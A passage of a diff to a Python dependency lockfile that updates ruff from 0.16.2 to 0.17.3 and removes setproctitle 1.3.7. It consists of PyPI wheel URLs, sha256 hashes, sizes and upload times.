"https://files.pythonhosted.org/packages/85/d6/9d96948caf5a632be62d62202d5ec914d6856f204fd79eb036e5915e79ea/ruff-0.16.2-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:335c621622c4650330be50842561c6586ac6971bb8ab5407fe34dcc9efb16bbe", size = 10975825, upload-time = "2026-08-07T13:30:23.517Z" }, - { url = "https://files.pythonhosted.org/packages/3b/92/ea87129b3414acb0b5770563779c51804d37ac67675c7ba35447ddb14773/ruff-0.16.2-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:20e66910f2c37cc753f9ef6580c914a621b80c4fa3549d3e3521e29d0f5bfc3f", size = 10649437, upload-time = "2026-08-07T13:30:26.097Z" }, - { url = "https://files.pythonhosted.org/packages/ac/43/f8f291dcd4af5bb7872b74fdfa41a7cd7c856ca1d4069670971cf1b9f5cb/ruff-0.16.2-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7e36fbfba65510548156902bcf1350a979a958ce0347ce0f90d73894036b39f", size = 11446761, upload-time = "2026-08-07T13:30:28.752Z" }, - { url = "https://files.pythonhosted.org/packages/71/4a/ef991fb2fcf516ab71f0808adcdd8da5e18c8cde447f4ceaf5f47a5132a5/ruff-0.16.2-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f0eab35f80df8f134aae5d1630e751901321d317cc8e50dc39e36fa3ed34cd12", size = 12336364, upload-time = "2026-08-07T13:30:31.468Z" }, - { url = "https://files.pythonhosted.org/packages/f3/24/f615e74f307e6ca0e56a482872477b856c70d530aa356abfb6dfe5ca8a80/ruff-0.16.2-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:40ea8c0594feb894e89c8c61ab9c103d38b0ea72dfde6c594107147ca31b1140", size = 11630720, upload-time = "2026-08-07T13:30:34.426Z" }, - { url = "https://files.pythonhosted.org/packages/c5/d3/8ef50149e8412a77f7ab409efdef0e2b23803707a3863da4fc64cb23d459/ruff-0.16.2-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab3d62dde0b19facdd632008cc4827fc28ada7736c6bd35ab6f1050f0bfed53f", size = 11466130, upload-time = "2026-08-07T13:30:36.958Z" }, - { url = "https://files.pythonhosted.org/packages/dd/a7/a19334985c4dea8c381981fa252cd854c7ee52dc4b1686dc16f4a911c702/ruff-0.16.2-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:e43e1f5b8388da9eca1b9e88328d47a5cec794633ccf6f7484ac2dd15eee92c0", size = 11523634, upload-time = "2026-08-07T13:30:39.822Z" }, - { url = "https://files.pythonhosted.org/packages/6e/6c/96d192b0e742412ceda08c0a50f9669b253dde9fd6a60ea1a10c9fa79a63/ruff-0.16.2-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:c24788a980581e1d7ea3a0cbe4344c4fbeb0a6a9b1f4713aa46bb104f8294690", size = 10949807, upload-time = "2026-08-07T13:30:42.745Z" }, - { url = "https://files.pythonhosted.org/packages/fa/51/e26599ceca11e79ee255c7df515995561edf87e9ca1893284e44d98f5a86/ruff-0.16.2-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:81806b08329130005dd4a8a8394a0c9da8c6f4cafb16ba438d2a2ee6a18bedf1", size = 10646891, upload-time = "2026-08-07T13:30:45.522Z" }, - { url = "https://files.pythonhosted.org/packages/68/01/800c4b1f97bc8d7c6029e06b1f20473a3cf1e13c4933d8f3342add83fc55/ruff-0.16.2-py3-none-musllinux_1_2_i686.whl", hash = "sha256:4ce4e02bad779bef557f541a1b31f20d6abeae1cc05ed1b1ac019d4ffd1044c8", size = 11162063, upload-time = "2026-08-07T13:30:48.131Z" }, - { url = "https://files.pythonhosted.org/packages/e4/d0/1477ea50fc5a0d4b0b71d1d63d50770bdd794d90b43e37a7618e63ec9894/ruff-0.16.2-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:e0422abdf70070255fc4073ce9dfc814cc03db577013761ddd09bc1e4a9a4fbd", size = 11556038, upload-time = "2026-08-07T13:30:50.686Z" }, - { url = "https://files.pythonhosted.org/packages/b8/76/a7776f32048d991e16d4fa8ff91790b877342d3596cc3ed04acdbf1aaedc/ruff-0.16.2-py3-none-win32.whl", hash = "sha256:bf3a63d78fb39f4bf5ac8ae52051c5520505301abe19ba4e204c453b3f09bb0b", size = 10872850, upload-time = "2026-08-07T13:30:53.471Z" }, - { url = "https://files.pythonhosted.org/packages/00/0d/929c800d920e61397d82a01b60bffc68da3052c17d31de59efaad2e4ed75/ruff-0.16.2-py3-none-win_amd64.whl", hash = "sha256:bcabe2f6d0fc7819f1431793005af4e4de7371927d037345bf941252b195b9fa", size = 12023338, upload-time = "2026-08-07T13:30:56.193Z" }, - { url = "https://files.pythonhosted.org/packages/5b/6c/93e26c22c5f78ff87363e07da49c84955affbeb1098bd1936bf3b3f293bf/ruff-0.16.2-py3-none-win_arm64.whl", hash = "sha256:d614e95cedf38a2053fd351c55b103ba30d017d61688fdbfd40ee0412852a99f", size = 11374065, upload-time = "2026-08-07T13:30:58.775Z" }, +version = "0.17.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/59/73/81f140c4edd9cc323de5478e6bbd3bbcfae9a82692df1a258de8cec6a6d2/ruff-0.17.3.tar.gz", hash = "sha256:a57049c8addb3662073859bb55a7ad35aa54f8a7c9ed268911d1333c5aadaaa9", size = 5339444, upload-time = "2026-10-27T00:34:05.914Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9e/8c/083365310c4e79c842f25bf5a842facbd9b0c0ec336f96dffa5074fe723d/ruff-0.17.3-py3-none-linux_armv6l.whl", hash = "sha256:ab86b84cd9d05e56d329742c0cabdcbe2d1d56c98f4a04aab9b5b66196febfb4", size = 10216522, upload-time = "2026-10-27T00:33:29.822Z" }, + { url = "https://files.pythonhosted.org/packages/72/26/4b2edf31cfebe9605d8f6ed8f1d6f376d3a53d4c9a123e62661c64c440f0/ruff-0.17.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:e407b4a6852853a9a2cdce96963e94ad9775578bb44e7561a0f2829f3cc04b11", size = 10217786, upload-time = "2026-10-27T00:33:33.949Z" }, + { url = "https://files.pythonhosted.org/packages/a2/7e/537aba4b7f54397a374d2f6a6fc93e9c8015e18553f31a4a7b7dbced48b5/ruff-0.17.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:b75cc113b3aca388933d8296b667b1ac401a80317ea3074c9b0a66541199da29", size = 9440362, upload-time = "2026-10-27T00:33:35.784Z" }, + { url = "https://files.pythonhosted.org/packages/3d/66/283e39734f66c8a5ebaa93c22eb7b7515779a0b1d5a5c0ad20e05c0edb41/ruff-0.17.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ab5fa7ed5ce18554ea69d850ad162cbaa0c85fc47c08d83a569f806681c9a6ad", size = 10094281, upload-time = "2026-10-27T00:33:38.216Z" }, + { url = "https://files.pythonhosted.org/packages/21/4c/1ffc768497bd025a32c72152771e40c0b99bddc5cc6e4f50c7949a395346/ruff-0.17.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c673c170e27834d1262e3a9c1e97bdc9b9c3b180c63d89173ce69747232474c1", size = 10022543, upload-time = "2026-10-27T00:33:40.181Z" }, + { url = "https://files.pythonhosted.org/packages/73/c3/f90db547301080fcb82c92abf914c8bd57b89911d9b65a6c4cc6b52d0635/ruff-0.17.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6a754c0341bc9ca151b7b335988b3263921c08859f84ca219b70cee825571b6f", size = 10683921, upload-time = "2026-10-27T00:33:42.182Z" }, + { url = "https://files.pythonhosted.org/packages/e5/98/92d4a8a26c6c96cf1a5b34dd59036d8a71e52d650aab065c58867e964e63/ruff-0.17.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4590b9d86c0b1543ebb09094254e191cd43fe8edaf330baa035aab03da251532", size = 11373408, upload-time = "2026-10-27T00:33:44.19Z" }, + { url = "https://files.pythonhosted.org/packages/43/02/1f24d2e3064c9753926deeb901afa57777b37ee46799b09ddd7aee6e5145/ruff-0.17.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bbde18beccd98c29a227c63c99022e3443b99258e08326df6425dfe0443705ef", size = 10977469, upload-time = "2026-10-27T00:33:46.179Z" }, + { url = "https://files.pythonhosted.org/packages/f0/20/fecedea2209f574ab92033b344e01a7f0c2dc76c6d6d19a14c9f8141173f/ruff-0.17.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7fa4b0f931cdbcb8a52044f370a3eb429fb42eb88807b0e800fcaa98dd42b24e", size = 10577491, upload-time = "2026-10-27T00:33:48.233Z" }, + { url = "https://files.pythonhosted.org/packages/33/36/b93fdf0bc6f84f0cd487aadfb0354deb40013669ea35ac3d26855de1e959/ruff-0.17.3-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:39405f341deec934b4289634324ad695f72df2970f9121582872eaf5b722f0f5", size = 10608748, upload-time = "2026-10-27T00:33:50.284Z" }, + { url = "https://files.pythonhosted.org/packages/5d/b7/7d3f5f14145daead1efb0b9a8289ed1daa100f419d60774375951723ce00/ruff-0.17.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:68074094f55ca3d29ab19491f640282f7a84061c4c7977aa5094b968ca457e9a", size = 10075057, upload-time = "2026-10-27T00:33:52.074Z" }, + { url = "https://files.pythonhosted.org/packages/b0/ed/93ff7a5909ee56e2bd4b982deae9e0efb2724417874a90c9e41ad66c6dd7/ruff-0.17.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:27bb571ac78fef178fe5118d2827df95c2aae74a48fff2b15f6acd03af5ff5bb", size = 10022431, upload-time = "2026-10-27T00:33:54.061Z" }, + { url = "https://files.pythonhosted.org/packages/9b/07/a83b9eeec8c1c3c0e4eda15f06c3a91001bfd2687ea2f07b750719bf9712/ruff-0.17.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:029c37cbd3de48ca37aa12117bead2d065f15da17d66bf84e0d4274013705db2", size = 10394903, upload-time = "2026-10-27T00:33:56.158Z" }, + { url = "https://files.pythonhosted.org/packages/af/b2/05c39857c2526fcbebe46ad93a8dc97424656dfef14d3ef933abe1ffd331/ruff-0.17.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:692fdb46d0fd9c71e380947dc5fc72f2c3f881073bc1f739e4579376231affbe", size = 10799780, upload-time = "2026-10-27T00:33:58.204Z" }, + { url = "https://files.pythonhosted.org/packages/ec/d9/47171a16739eb7a353936b31c20cf54340531e68c9af7d72fd7a784e235d/ruff-0.17.3-py3-none-win32.whl", hash = "sha256:46539cb031b01fd29ae0a02142483c46640b233ee12bb1c1b690bffa1555d5ca", size = 9908481, upload-time = "2026-10-27T00:34:00.087Z" }, + { url = "https://files.pythonhosted.org/packages/d0/a0/f08c1631bfd81faa6a90eaf70c37c786c11bed2046302b56bb506c25e1a0/ruff-0.17.3-py3-none-win_amd64.whl", hash = "sha256:56b8ffb3f3b3cbccb8b76b71b38261b7ed982ef5d20f5b447b1b61a7f4949b24", size = 10341333, upload-time = "2026-10-27T00:34:02.099Z" }, + { url = "https://files.pythonhosted.org/packages/99/d5/4ad4ed31413c301430918e70d3d38ae6f097af0766cb9ab8c9d502b2a4d6/ruff-0.17.3-py3-none-win_arm64.whl", hash = "sha256:81fce74bcd6be0e9da7c67c7553fd0f1f12964a2052cd728ef917b937a5ca1d9", size = 9854332, upload-time = "2026-10-27T00:34:03.847Z" }, ] [[package]] name = "setproctitle" -version = "1.3.7" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/8d/48/49393a96a2eef1ab418b17475fb92b8fcfad83d099e678751b05472e69de/setproctitle-1.3.7.tar.gz", hash = "sha256:bc2bc917691c1537d5b9bca1468437176809c7e11e5694ca79a9ca12345dcb9e", size = 27002, upload-time = "2025-09-05T12:51:25.278Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/f2/48/fb401ec8c4953d519d05c87feca816ad668b8258448ff60579ac7a1c1386/setproctitle-1.3.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cf555b6299f10a6eb44e4f96d2f5a3884c70ce25dc5c8796aaa2f7b40e72cb1b", size = 18079, upload-time = "2025-09-05T12:49:07.732Z" }, - { url = "https://files.pythonhosted.org/packages/cc/a3/c2b0333c2716fb3b4c9a973dd113366ac51b4f8d56b500f4f8f704b4817a/setproctitle-1.3.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:690b4776f9c15aaf1023bb07d7c5b797681a17af98a4a69e76a1d504e41108b7", size = 13099, upload-time = "2025-09-05T12:49:09.222Z" }, - { url = "https://files.pythonhosted.org/packages/0e/f8/17bda581c517678260e6541b600eeb67745f53596dc077174141ba2f6702/setproctitle-1.3.7-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:00afa6fc507967d8c9d592a887cdc6c1f5742ceac6a4354d111ca0214847732c", size = 31793, upload-time = "2025-09-05T12:49:10.297Z" }, - { url = "https://files.pythonhosted.org/packages/27/d1/76a33ae80d4e788ecab9eb9b53db03e81cfc95367ec7e3fbf4989962fedd/setproctitle-1.3.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9e02667f6b9fc1238ba753c0f4b0a37ae184ce8f3bbbc38e115d99646b3f4cd3", size = 32779, upload-time = "2025-09-05T12:49:12.157Z" }, - { url = "https://files.pythonhosted.org/packages/59/27/1a07c38121967061564f5e0884414a5ab11a783260450172d4fc68c15621/setproctitle-1.3.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:83fcd271567d133eb9532d3b067c8a75be175b2b3b271e2812921a05303a693f", size = 34578, upload-time = "2025-09-05T12:49:13.393Z" }, - { url = "https://files.pythonhosted.org/packages/d8/d4/725e6353935962d8bb12cbf7e7abba1d0d738c7f6935f90239d8e1ccf913/setproctitle-1.3.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:13fe37951dda1a45c35d77d06e3da5d90e4f875c4918a7312b3b4556cfa7ff64", size = 32030, upload-time = "2025-09-05T12:49:15.362Z" }, - { url = "https://files.pythonhosted.org/packages/67/24/e4677ae8e1cb0d549ab558b12db10c175a889be0974c589c428fece5433e/setproctitle-1.3.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a05509cfb2059e5d2ddff701d38e474169e9ce2a298cf1b6fd5f3a213a553fe5", size = 33363, upload-time = "2025-09-05T12:49:16.829Z" }, - { url = "https://files.pythonhosted.org/packages/55/d4/69ce66e4373a48fdbb37489f3ded476bb393e27f514968c3a69a67343ae0/setproctitle-1.3.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6da835e76ae18574859224a75db6e15c4c2aaa66d300a57efeaa4c97ca4c7381", size = 31508, upload-time = "2025-09-05T12:49:18.032Z" }, - { url = "https://files.pythonhosted.org/packages/4b/5a/42c1ed0e9665d068146a68326529b5686a1881c8b9197c2664db4baf6aeb/setproctitle-1.3.7-cp310-cp310-win32.whl", hash = "sha256:9e803d1b1e20240a93bac0bc1025363f7f80cb7eab67dfe21efc0686cc59ad7c", size = 12558, upload-time = "2025-09-05T12:49:19.742Z" }, - { url = "https://files.pythonhosted.org/packages/dc/fe/dd206cc19a25561921456f6cb12b405635319299b6f366e0bebe872abc18/setproctitle-1.3.7-cp310-cp310-win_amd64.whl", hash = "sha256:a97200acc6b64ec4cada52c2ecaf1fba1ef9429ce9c542f8a7db5bcaa9dcbd95", size = 13245, upload-time = "2025-09-05T12:49:21.023Z" }, - { url = "https://files.pythonhosted.org/packages/04/cd/1b7ba5cad635510720ce19d7122154df96a2387d2a74217be552887c93e5/setproctitle-1.3.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a600eeb4145fb0ee6c287cb82a2884bd4ec5bbb076921e287039dcc7b7cc6dd0", size = 18085, upload-time = "2025-09-05T12:49:22.183Z" }, - { url = "https://files.pythonhosted.org/packages/8f/1a/b2da0a620490aae355f9d72072ac13e901a9fec809a6a24fc6493a8f3c35/setproctitle-1.3.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:97a090fed480471bb175689859532709e28c085087e344bca45cf318034f70c4", size = 13097, upload-time = "2025-09-05T12:49:23.322Z" }, - { url = "https://files.pythonhosted.org/packages/18/2e/bd03ff02432a181c1787f6fc2a678f53b7dacdd5ded69c318fe1619556e8/setproctitle-1.3.7-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1607b963e7b53e24ec8a2cb4e0ab3ae591d7c6bf0a160feef0551da63452b37f", size = 32191, upload-time = "2025-09-05T12:49:24.567Z" }, - { url = "https://files.pythonhosted.org/packages/28/78/1e62fc0937a8549f2220445ed2175daacee9b6764c7963b16148119b016d/setproctitle-1.3.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a20fb1a3974e2dab857870cf874b325b8705605cb7e7e8bcbb915bca896f52a9", size = 33203, upload-time = "2025-09-05T12:49:25.871Z" }, - { url = "https://files.pythonhosted.org/packages/a0/3c/65edc65db3fa3df400cf13b05e9d41a3c77517b4839ce873aa6b4043184f/setproctitle-1.3.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f8d961bba676e07d77665204f36cffaa260f526e7b32d07ab3df6a2c1dfb44ba", size = 34963, upload-time = "2025-09-05T12:49:27.044Z" }, - { url = "https://files.pythonhosted.org/packages/a1/32/89157e3de997973e306e44152522385f428e16f92f3cf113461489e1e2ee/setproctitle-1.3.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:db0fd964fbd3a9f8999b502f65bd2e20883fdb5b1fae3a424e66db9a793ed307", size = 32398, upload-time = "2025-09-05T12:49:28.909Z" }, - { url = "https://files.pythonhosted.org/packages/4a/18/77a765a339ddf046844cb4513353d8e9dcd8183da9cdba6e078713e6b0b2/setproctitle-1.3.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:db116850fcf7cca19492030f8d3b4b6e231278e8fe097a043957d22ce1bdf3ee", size = 33657, upload-time = "2025-09-05T12:49:30.323Z" }, - { url = "https://files.pythonhosted.org/packages/6b/63/f0b6205c64d74d2a24a58644a38ec77bdbaa6afc13747e75973bf8904932/setproctitle-1.3.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:316664d8b24a5c91ee244460bdaf7a74a707adaa9e14fbe0dc0a53168bb9aba1", size = 31836, upload-time = "2025-09-05T12:49:32.309Z" }, - { url = "https://files.pythonhosted.org/packages/ba/51/e1277f9ba302f1a250bbd3eedbbee747a244b3cc682eb58fb9733968f6d8/setproctitle-1.3.7-cp311-cp311-win32.whl", hash = "sha256:b74774ca471c86c09b9d5037c8451fff06bb82cd320d26ae5a01c758088c0d5d", size = 12556, upload-time = "2025-09-05T12:49:33.529Z" }, - { url = "https://files.pythonhosted.org/packages/b6/7b/822a23f17e9003dfdee92cd72758441ca2a3680388da813a371b716fb07f/setproctitle-1.3.7-cp311-cp311-win_amd64.whl", hash = "sha256:acb9097213a8dd3410ed9f0dc147840e45ca9797785272928d4be3f0e69e3be4", size = 13243, upload-time = "2025-09-05T12:49:34.553Z" }, - { url = "https://files.pythonhosted.org/packages/fb/f0/2dc88e842077719d7384d86cc47403e5102810492b33680e7dadcee64cd8/setproctitle-1.3.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2dc99aec591ab6126e636b11035a70991bc1ab7a261da428491a40b84376654e", size = 18049, upload-time = "2025-09-05T12:49:36.241Z" }, - { url = "https://files.pythonhosted.org/packages/f0/b4/50940504466689cda65680c9e9a1e518e5750c10490639fa687489ac7013/setproctitle-1.3.7-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:cdd8aa571b7aa39840fdbea620e308a19691ff595c3a10231e9ee830339dd798", size = 13079, upload-time = "2025-09-05T12:49:38.088Z" }, - { url = "https://files.pythonhosted.org/packages/d0/99/71630546b9395b095f4082be41165d1078204d1696c2d9baade3de3202d0/setproctitle-1.3.7-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2906b6c7959cdb75f46159bf0acd8cc9906cf1361c9e1ded0d065fe8f9039629", size = 32932, upload-time = "2025-09-05T12:49:39.271Z" }, - { url = "https://files.pythonhosted.org/packages/50/22/cee06af4ffcfb0e8aba047bd44f5262e644199ae7527ae2c1f672b86495c/setproctitle-1.3.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6915964a6dda07920a1159321dcd6d94fc7fc526f815ca08a8063aeca3c204f1", size = 33736, upload-time = "2025-09-05T12:49:40.565Z" }, - { url = "https://files.pythonhosted.org/packages/5c/00/a5949a8bb06ef5e7df214fc393bb2fb6aedf0479b17214e57750dfdd0f24/setproctitle-1.3.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cff72899861c765bd4021d1ff1c68d60edc129711a2fdba77f9cb69ef726a8b6", size = 35605, upload-time = "2025-09-05T12:49:42.362Z" }, - { url = "https://files.pythonhosted.org/packages/b0/3a/50caca532a9343828e3bf5778c7a84d6c737a249b1796d50dd680290594d/setproctitle-1.3.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b7cb05bd446687ff816a3aaaf831047fc4c364feff7ada94a66024f1367b448c", size = 33143, upload-time = "2025-09-05T12:49:43.515Z" }, - { url = "https://files.pythonhosted.org/packages/ca/14/b843a251296ce55e2e17c017d6b9f11ce0d3d070e9265de4ecad948b913d/setproctitle-1.3.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:3a57b9a00de8cae7e2a1f7b9f0c2ac7b69372159e16a7708aa2f38f9e5cc987a", size = 34434, upload-time = "2025-09-05T12:49:45.31Z" }, - { url = "https://files.pythonhosted.org/packages/c8/b7/06145c238c0a6d2c4bc881f8be230bb9f36d2bf51aff7bddcb796d5eed67/setproctitle-1.3.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d8828b356114f6b308b04afe398ed93803d7fca4a955dd3abe84430e28d33739", size = 32795, upload-time = "2025-09-05T12:49:46.419Z" }, - { url = "https://files.pythonhosted.org/packages/ef/dc/ef76a81fac9bf27b84ed23df19c1f67391a753eed6e3c2254ebcb5133f56/setproctitle-1.3.7-cp312-cp312-win32.whl", hash = "sha256:b0304f905efc845829ac2bc791ddebb976db2885f6171f4a3de678d7ee3f7c9f", size = 12552, upload-time = "2025-09-05T12:49:47.635Z" }, - { url = "https://files.pythonhosted.org/packages/e2/5b/a9fe517912cd6e28cf43a212b80cb679ff179a91b623138a99796d7d18a0/setproctitle-1.3.7-cp312-cp312-win_amd64.whl", hash = "sha256:9888ceb4faea3116cf02a920ff00bfbc8cc899743e4b4ac914b03625bdc3c300", size = 13247, upload-time = "2025-09-05T12:49:49.16Z" }, - { url = "https://files.pythonhosted.org/packages/5d/2f/fcedcade3b307a391b6e17c774c6261a7166aed641aee00ed2aad96c63ce/setproctitle-1.3.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c3736b2a423146b5e62230502e47e08e68282ff3b69bcfe08a322bee73407922", size = 18047, upload-time = "2025-09-05T12:49:50.271Z" }, - { url = "https://files.pythonhosted.org/packages/23/ae/afc141ca9631350d0a80b8f287aac79a76f26b6af28fd8bf92dae70dc2c5/setproctitle-1.3.7-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3384e682b158d569e85a51cfbde2afd1ab57ecf93ea6651fe198d0ba451196ee", size = 13073, upload-time = "2025-09-05T12:49:51.46Z" }, - { url = "https://files.pythonhosted.org/packages/87/ed/0a4f00315bc02510395b95eec3d4aa77c07192ee79f0baae77ea7b9603d8/setproctitle-1.3.7-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0564a936ea687cd24dffcea35903e2a20962aa6ac20e61dd3a207652401492dd", size = 33284, upload-time = "2025-09-05T12:49:52.741Z" }, - { url = "https://files.pythonhosted.org/packages/fc/e4/adf3c4c0a2173cb7920dc9df710bcc67e9bcdbf377e243b7a962dc31a51a/setproctitle-1.3.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5d1cb3f81531f0eb40e13246b679a1bdb58762b170303463cb06ecc296f26d0", size = 34104, upload-time = "2025-09-05T12:49:54.416Z" }, - { url = "https://files.pythonhosted.org/packages/52/4f/6daf66394152756664257180439d37047aa9a1cfaa5e4f5ed35e93d1dc06/setproctitle-1.3.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a7d159e7345f343b44330cbba9194169b8590cb13dae940da47aa36a72aa9929", size = 35982, upload-time = "2025-09-05T12:49:56.295Z" }, - { url = "https://files.pythonhosted.org/packages/1b/62/f2c0595403cf915db031f346b0e3b2c0096050e90e0be658a64f44f4278a/setproctitle-1.3.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b5074649797fd07c72ca1f6bff0406f4a42e1194faac03ecaab765ce605866f", size = 33150, upload-time = "2025-09-05T12:49:58.025Z" }, - { url = "https://files.pythonhosted.org/packages/a0/29/10dd41cde849fb2f9b626c846b7ea30c99c81a18a5037a45cc4ba33c19a7/setproctitle-1.3.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:61e96febced3f61b766115381d97a21a6265a0f29188a791f6df7ed777aef698", size = 34463, upload-time = "2025-09-05T12:49:59.424Z" }, - { url = "https://files.pythonhosted.org/packages/71/3c/cedd8eccfaf15fb73a2c20525b68c9477518917c9437737fa0fda91e378f/setproctitle-1.3.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:047138279f9463f06b858e579cc79580fbf7a04554d24e6bddf8fe5dddbe3d4c", size = 32848, upload-time = "2025-09-05T12:50:01.107Z" }, - { url = "https://files.pythonhosted.org/packages/d1/3e/0a0e27d1c9926fecccfd1f91796c244416c70bf6bca448d988638faea81d/setproctitle-1.3.7-cp313-cp313-win32.whl", hash = "sha256:7f47accafac7fe6535ba8ba9efd59df9d84a6214565108d0ebb1199119c9cbbd", size = 12544, upload-time = "2025-09-05T12:50:15.81Z" }, - { url = "https://files.pythonhosted.org/packages/36/1b/6bf4cb7acbbd5c846ede1c3f4d6b4ee52744d402e43546826da065ff2ab7/setproctitle-1.3.7-cp313-cp313-win_amd64.whl", hash = "sha256:fe5ca35aeec6dc50cabab9bf2d12fbc9067eede7ff4fe92b8f5b99d92e21263f", size = 13235, upload-time = "2025-09-05T12:50:16.89Z" }, - { url = "https://files.pythonhosted.org/packages/e6/a4/d588d3497d4714750e3eaf269e9e8985449203d82b16b933c39bd3fc52a1/setproctitle-1.3.7-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:10e92915c4b3086b1586933a36faf4f92f903c5554f3c34102d18c7d3f5378e9", size = 18058, upload-time = "2025-09-05T12:50:02.501Z" }, - { url = "https://files.pythonhosted.org/packages/05/77/7637f7682322a7244e07c373881c7e982567e2cb1dd2f31bd31481e45500/setproctitle-1.3.7-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:de879e9c2eab637f34b1a14c4da1e030c12658cdc69ee1b3e5be81b380163ce5", size = 13072, upload-time = "2025-09-05T12:50:03.601Z" }, - { url = "https://files.pythonhosted.org/packages/52/09/f366eca0973cfbac1470068d1313fa3fe3de4a594683385204ec7f1c4101/setproctitle-1.3.7-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c18246d88e227a5b16248687514f95642505000442165f4b7db354d39d0e4c29", size = 34490, upload-time = "2025-09-05T12:50:04.948Z" }, - { url = "https://files.pythonhosted.org/packages/71/36/611fc2ed149fdea17c3677e1d0df30d8186eef9562acc248682b91312706/setproctitle-1.3.7-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7081f193dab22df2c36f9fc6d113f3793f83c27891af8fe30c64d89d9a37e152", size = 35267, upload-time = "2025-09-05T12:50:06.015Z" }, - { url = "https://files.pythonhosted.org/packages/88/a4/64e77d0671446bd5a5554387b69e1efd915274686844bea733714c828813/setproctitle-1.3.7-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9cc9b901ce129350637426a89cfd650066a4adc6899e47822e2478a74023ff7c", size = 37376, upload-time = "2025-09-05T12:50:07.484Z" }, - { url = "https://files.pythonhosted.org/packages/89/bc/ad9c664fe524fb4a4b2d3663661a5c63453ce851736171e454fa2cdec35c/setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:80e177eff2d1ec172188d0d7fd9694f8e43d3aab76a6f5f929bee7bf7894e98b", size = 33963, upload-time = "2025-09-05T12:50:09.056Z" }, - { url = 